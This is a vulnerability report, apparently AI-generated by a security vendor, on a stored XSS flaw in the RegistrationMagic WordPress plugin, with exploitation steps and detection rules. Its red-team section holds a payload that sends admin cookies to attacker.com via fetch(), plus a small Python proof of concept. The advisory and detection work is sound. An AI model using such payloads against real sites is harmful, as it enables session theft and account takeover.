CVE-2024-9390

Executive Summary

CVE-2024-9390 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the RegistrationMagic WordPress plugin, versions prior to 6.0.2.1. This flaw allows high-privilege users, such as administrators, to inject arbitrary web scripts into plugin settings. Even in multisite configurations where the unfiltered_html capability is disallowed, an attacker with admin-level access can store malicious JavaScript that executes when other administrators view the affected settings page. This can lead to session hijacking, credential theft, or further compromise of the WordPress installation.

Supply Chain & Package Security

This vulnerability affects the RegistrationMagic WordPress plugin, distributed through the official WordPress plugin repository. Users are advised to update to version 6.0.2.1 or later. No known supply chain attacks have been reported for this specific CVE, but the plugin's widespread use in WordPress ecosystems increases the risk of exploitation if left unpatched.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Calculated: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Admin must view the settings page)
• Scope: Changed (XSS can affect other users)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires admin privileges but can lead to further compromise.

Deep Dive & Mechanics

The vulnerability resides in the RegistrationMagic plugin's settings page, where user-supplied input is not properly sanitized or escaped before being stored and later rendered. Specifically, the plugin fails to sanitize certain settings fields, allowing an admin to inject malicious HTML/JavaScript. When another admin (or the same admin) views the settings page, the injected script executes in the context of the WordPress admin dashboard.

Root Cause: The plugin uses echo or print to output settings values without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post(). This allows stored XSS even when unfiltered_html is disabled, as the plugin's custom output bypasses WordPress's default protections.

Attack Flow:

1. Attacker gains admin access to a WordPress site (e.g., via compromised credentials or social engineering).
2. Attacker navigates to RegistrationMagic settings and injects a malicious payload (e.g., <script>alert('XSS')</script>) into an unsanitized field.
3. The payload is stored in the database.
4. When another admin visits the settings page, the payload executes, potentially stealing cookies, performing actions on behalf of the victim, or installing backdoors.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-6.0.2.1):

// In a settings field output
echo $settings['field_name'];

Patched Code (6.0.2.1+):

// Properly escaped output
echo esc_html( $settings['field_name'] );

The patch applies esc_html() to all settings outputs, preventing HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin access to a WordPress site running RegistrationMagic < 6.0.2.1.
• A browser with developer tools.

Steps:

1. Log in as an admin.
2. Navigate to RegistrationMagic > Settings.
3. Identify an unsanitized input field (e.g., "Custom CSS" or "Header Text").
4. Inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the settings.
6. When another admin views the settings page, the payload executes, exfiltrating cookies.

Proof-of-Concept (PoC) Code:

# Simple Python script to demonstrate the attack (requires admin credentials)
import requests

target = "http://target.com/wp-admin/admin.php?page=rm_settings"
payload = "<script>alert('XSS')</script>"
cookies = {"wordpress_logged_in": "admin_cookie"}

data = {"rm_option_name": payload}
requests.post(target, cookies=cookies, data=data)

Blue Team (Detection & Hardening)

Detection:

• Monitor admin activity logs for unusual changes to RegistrationMagic settings.
• Look for script tags or event handlers in settings fields via database queries.
• Use WAF rules to block common XSS payloads in admin POST requests.

Hardening:

• Update to RegistrationMagic 6.0.2.1 or later.
• Restrict admin access to trusted users only.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.
• Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin dashboard.
• File: Modified plugin files (e.g., wp-content/plugins/registrationmagic/).
• Database: Suspicious entries in the wp_options table containing <script> tags or JavaScript event handlers.
• Logs: Admin access logs showing repeated visits to RegistrationMagic settings pages.

Detection Engineering

YARA Rule

rule CVE_2024_9390_Stored_XSS {
    meta:
        description = "Detects RegistrationMagic plugin files with unsanitized output"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-9390"
    strings:
        $unsafe_echo = /echo\s*\$settings\[/
        $unsafe_print = /print\s*\$settings\[/
    condition:
        $unsafe_echo or $unsafe_print
}

Sigma Rule

title: Stored XSS in RegistrationMagic Settings
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in RegistrationMagic settings
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin.php?page=rm_settings'
        http.body|contains: 
            - '<script>'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript in settings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9390 Stored XSS in RegistrationMagic"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin.php?page=rm_settings"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the RegistrationMagic plugin to version 6.0.2.1 or later.
2. Review all admin accounts and remove unnecessary privileges.
3. Audit the database for any existing XSS payloads in plugin settings.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce strict Content Security Policy (CSP) headers.
• Regularly update all WordPress plugins and themes.
• Conduct periodic security audits of custom code.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.